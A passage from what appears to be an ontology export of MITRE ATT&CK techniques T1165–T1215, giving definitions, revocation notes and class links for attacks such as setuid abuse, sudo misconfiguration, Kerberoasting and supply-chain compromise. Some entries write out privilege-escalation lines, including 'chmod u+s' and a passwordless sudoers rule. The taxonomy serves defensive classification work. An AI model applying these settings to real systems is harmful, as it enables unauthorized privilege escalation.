definition: Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.
comment: This technique has been revoked by T1547.007
subclass of: PersistenceTechnique
deprecated: true

Startup Items
type: Class
attack-id: T1165
definition: Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
comment: This technique has been revoked by T1037.005
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Setuid and Setgid
type: Class
attack-id: T1166
definition: When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
comment: This technique has been revoked by T1548.001
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Securityd Memory
type: Class
attack-id: T1167
definition: In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)
comment: This technique has been revoked by T1555.002
subclass of: CredentialAccessTechnique
deprecated: true

Local Job Scheduling
type: Class
attack-id: T1168
definition: On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
comment: This technique has been revoked by T1053
subclass of: ExecutionTechnique
subclass of: PersistenceTechnique
deprecated: true

Sudo
type: Class
attack-id: T1169
definition: The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware).
comment: This technique has been revoked by T1548.003
subclass of: PrivilegeEscalationTechnique
deprecated: true

Mshta
type: Class
attack-id: T1170
definition: Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
comment: This technique has been revoked by T1218.005
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

LLMNR/NBT-NS Poisoning and Relay
type: Class
attack-id: T1171
definition: Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)
comment: This technique has been revoked by T1557.001
subclass of: CredentialAccessTechnique
deprecated: true

Domain Fronting
type: Class
attack-id: T1172
definition: Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
comment: This technique has been revoked by T1090.004
subclass of: CommandAndControlTechnique
deprecated: true

Dynamic Data Exchange
type: Class
attack-id: T1173
definition: Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
comment: This technique has been revoked by T1559.002
subclass of: ExecutionTechnique
deprecated: true

Password Filter DLL
type: Class
attack-id: T1174
definition: Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
comment: This technique has been revoked by T1556.002
subclass of: CredentialAccessTechnique
deprecated: true

Component Object Model and Distributed COM
type: Class
attack-id: T1175
definition: **This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**
comment: **This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**
subclass of: ExecutionTechnique
subclass of: LateralMovementTechnique
deprecated: true

Browser Extensions
type: Class
attack-id: T1176.001
definition: Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
subclass of: T1176

IDE Extensions
type: Class
attack-id: T1176.002
definition: Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)
subclass of: T1176

LSASS Driver
type: Class
attack-id: T1177
definition: The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
comment: This technique has been revoked by T1547.008
subclass of: ExecutionTechnique
subclass of: PersistenceTechnique
deprecated: true

SID-History Injection
type: Class
attack-id: T1178
definition: The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
comment: This technique has been revoked by T1134.005
subclass of: PrivilegeEscalationTechnique
deprecated: true

Hooking
type: Class
attack-id: T1179
definition: Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.
comment: This technique has been revoked by T1056.004
subclass of: CredentialAccessTechnique
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Screensaver
type: Class
attack-id: T1180
definition: Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
comment: This technique has been revoked by T1546.002
subclass of: PersistenceTechnique
deprecated: true

Extra Window Memory Injection
type: Class
attack-id: T1181
definition: Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
comment: This technique has been revoked by T1055.011
subclass of: DefenseEvasionTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

AppCert DLLs
type: Class
attack-id: T1182
definition: Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
comment: This technique has been revoked by T1546.009
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Image File Execution Options Injection
type: Class
attack-id: T1183
definition: Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
comment: This technique has been revoked by T1546.012
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

SSH Hijacking
type: Class
attack-id: T1184
definition: Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
comment: This technique has been revoked by T1563.001
subclass of: LateralMovementTechnique
deprecated: true

Browser Session Hijacking
type: Class
type: NamedIndividual
attack-id: T1185
definition: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
produces: WebNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: WebNetworkTraffic
subclass of: CollectionTechnique

Process Doppelgänging
type: Class
attack-id: T1186
definition: Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
comment: This technique has been revoked by T1055.013
subclass of: DefenseEvasionTechnique
deprecated: true

Forced Authentication
type: Class
type: NamedIndividual
attack-id: T1187
definition: Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
may-modify: WindowsShortcutFile
modifies: AuthenticationLog
produces: Authentication
subclass of: Restriction
  on property: modifies
  some values from: AuthenticationLog
subclass of: Restriction
  on property: produces
  some values from: Authentication
subclass of: Restriction
  on property: may-modify
  some values from: WindowsShortcutFile
subclass of: CredentialAccessTechnique

Multi-hop Proxy
type: Class
attack-id: T1188
definition: To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
comment: This technique has been revoked by T1090.003
subclass of: CommandAndControlTechnique
deprecated: true

Drive-by Compromise
type: Class
type: NamedIndividual
attack-id: T1189
definition: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
modifies: ProcessSegment
produces: OutboundInternetNetworkTraffic
produces: URL
subclass of: Restriction
  on property: produces
  some values from: URL
subclass of: Restriction
  on property: modifies
  some values from: ProcessSegment
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: InitialAccessTechnique

Exploit Public-Facing Application
type: Class
type: NamedIndividual
attack-id: T1190
definition: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.
injects: DatabaseQuery
modifies: ProcessSegment
produces: InboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InboundInternetNetworkTraffic
subclass of: Restriction
  on property: modifies
  some values from: ProcessSegment
subclass of: Restriction
  on property: injects
  some values from: DatabaseQuery
subclass of: InitialAccessTechnique

CMSTP
type: Class
attack-id: T1191
definition: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
comment: This technique has been revoked by T1218.003
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Spearphishing Link
type: Class
attack-id: T1192
definition: Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
comment: This technique has been revoked by T1566.002
subclass of: InitialAccessTechnique
deprecated: true

Spearphishing Attachment
type: Class
attack-id: T1193
definition: Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.
comment: This technique has been revoked by T1566.001
subclass of: InitialAccessTechnique
deprecated: true

Spearphishing via Service
type: Class
attack-id: T1194
definition: Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
comment: This technique has been revoked by T1566.003
subclass of: InitialAccessTechnique
deprecated: true

Compromise Software Dependencies and Development Tools
type: Class
type: NamedIndividual
attack-id: T1195.001
definition: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
modifies: Software
subclass of: Restriction
  on property: modifies
  some values from: Software
subclass of: T1195

Compromise Software Supply Chain
type: Class
type: NamedIndividual
attack-id: T1195.002
definition: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
modifies: Software
subclass of: Restriction
  on property: modifies
  some values from: Software
subclass of: T1195

Compromise Hardware Supply Chain
type: Class
type: NamedIndividual
attack-id: T1195.003
definition: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.
modifies: HardwareDevice
subclass of: Restriction
  on property: modifies
  some values from: HardwareDevice
subclass of: T1195

Control Panel Items
type: Class
attack-id: T1196
definition: Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
comment: This technique has been revoked by T1218.002
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

BITS Jobs
type: Class
type: NamedIndividual
attack-id: T1197
definition: Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
may-produce: IntranetIPCNetworkTraffic
may-produce: IntranetWebNetworkTraffic
may-produce: OutboundInternetWebTraffic
subclass of: Restriction
  on property: may-produce
  some values from: OutboundInternetWebTraffic
subclass of: Restriction
  on property: may-produce
  some values from: IntranetWebNetworkTraffic
subclass of: Restriction
  on property: may-produce
  some values from: IntranetIPCNetworkTraffic
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique

SIP and Trust Provider Hijacking
type: Class
attack-id: T1198
definition: In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
comment: This technique has been revoked by T1553.003
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
deprecated: true

Trusted Relationship
type: Class
type: NamedIndividual
attack-id: T1199
creates: LoginSession
definition: Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
produces: IntranetNetworkTraffic
subclass of: Restriction
  on property: creates
  some values from: LoginSession
subclass of: Restriction
  on property: produces
  some values from: IntranetNetworkTraffic
subclass of: InitialAccessTechnique

Hardware Additions
type: Class
type: NamedIndividual
attack-id: T1200
connects: HardwareDevice
definition: Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.
subclass of: Restriction
  on property: connects
  some values from: HardwareDevice
subclass of: InitialAccessTechnique

Password Policy Discovery
type: Class
attack-id: T1201
definition: Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
subclass of: DiscoveryTechnique

Indirect Command Execution
type: Class
attack-id: T1202
definition: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
subclass of: DefenseEvasionTechnique

Exploitation for Client Execution
type: Class
type: NamedIndividual
attack-id: T1203
definition: Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
modifies: ProcessCodeSegment
modifies: StackFrame
subclass of: Restriction
  on property: modifies
  some values from: StackFrame
subclass of: Restriction
  on property: modifies
  some values from: ProcessCodeSegment
subclass of: ExecutionTechnique

Malicious Link
type: Class
type: NamedIndividual
accesses: URL
attack-id: T1204.001
definition: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).
produces: OutboundInternetWebTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetWebTraffic
subclass of: Restriction
  on property: accesses
  some values from: URL
subclass of: T1204

Malicious File
type: Class
type: NamedIndividual
attack-id: T1204.002
definition: An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
executes: ExecutableFile
subclass of: Restriction
  on property: executes
  some values from: ExecutableFile
subclass of: T1204

Malicious Image
type: Class
attack-id: T1204.003
definition: Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)
subclass of: T1204

Malicious Copy and Paste
type: Class
attack-id: T1204.004
definition: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
subclass of: T1204

Port Knocking
type: Class
type: NamedIndividual
attack-id: T1205.001
definition: Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
produces: NetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: NetworkTraffic
subclass of: T1205

Socket Filters
type: Class
attack-id: T1205.002
definition: Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.
subclass of: T1205

Sudo Caching
type: Class
attack-id: T1206
definition: The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
comment: This technique has been revoked by T1548.003
subclass of: PrivilegeEscalationTechnique
deprecated: true

Rogue Domain Controller
type: Class
type: NamedIndividual
attack-id: T1207
definition: Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
modifies: SystemConfigurationDatabase
produces: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabase
subclass of: DefenseEvasionTechnique

Kerberoasting
type: Class
attack-id: T1208
definition: Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)
comment: This technique has been revoked by T1558.003
subclass of: CredentialAccessTechnique
deprecated: true

Time Providers
type: Class
attack-id: T1209
definition: The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
comment: This technique has been revoked by T1547.003
subclass of: PersistenceTechnique
deprecated: true

Exploitation of Remote Services
type: Class
type: NamedIndividual
attack-id: T1210
definition: Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
may-modify: ProcessCodeSegment
may-modify: ProcessSegment
may-modify: StackFrame
produces: IntranetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetNetworkTraffic
subclass of: Restriction
  on property: may-modify
  some values from: StackFrame
subclass of: Restriction
  on property: may-modify
  some values from: ProcessCodeSegment
subclass of: Restriction
  on property: may-modify
  some values from: ProcessSegment
subclass of: LateralMovementTechnique

Exploitation for Defense Evasion
type: Class
type: NamedIndividual
attack-id: T1211
definition: Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
may-modify: ProcessCodeSegment
may-modify: StackFrame
subclass of: Restriction
  on property: may-modify
  some values from: StackFrame
subclass of: Restriction
  on property: may-modify
  some values from: ProcessCodeSegment
subclass of: DefenseEvasionTechnique

Exploitation for Credential Access
type: Class
type: NamedIndividual
attack-id: T1212
definition: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.
may-access: AuthenticationService
may-access: Credential Management System
may-modify: ProcessCodeSegment
may-modify: StackFrame
subclass of: Restriction
  on property: may-modify
  some values from: ProcessCodeSegment
subclass of: Restriction
  on property: may-modify
  some values from: StackFrame
subclass of: Restriction
  on property: may-access
  some values from: Credential Management System
subclass of: Restriction
  on property: may-access
  some values from: AuthenticationService
subclass of: CredentialAccessTechnique

Confluence
type: Class
type: NamedIndividual
accesses: WebFileResource
attack-id: T1213.001
definition: Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
subclass of: Restriction
  on property: accesses
  some values from: WebFileResource
subclass of: T1213

Sharepoint
type: Class
type: NamedIndividual
accesses: WebFileResource
attack-id: T1213.002
definition: Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
subclass of: Restriction
  on property: accesses
  some values from: WebFileResource
subclass of: T1213

Code Repositories
type: Class
type: NamedIndividual
attack-id: T1213.003
definition: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
reads: Code Repository
subclass of: Restriction
  on property: reads
  some values from: Code Repository
subclass of: T1213

Customer Relationship Management Software
type: Class
attack-id: T1213.004
definition: Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.
subclass of: T1213

Messaging Applications
type: Class
attack-id: T1213.005
definition: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.
subclass of: T1213

Credentials in Registry
type: Class
attack-id: T1214
definition: The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
comment: This technique has been revoked by T1552.002
subclass of: CredentialAccessTechnique
deprecated: true

Kernel Modules and Extensions
type: Class
attack-id: T1215
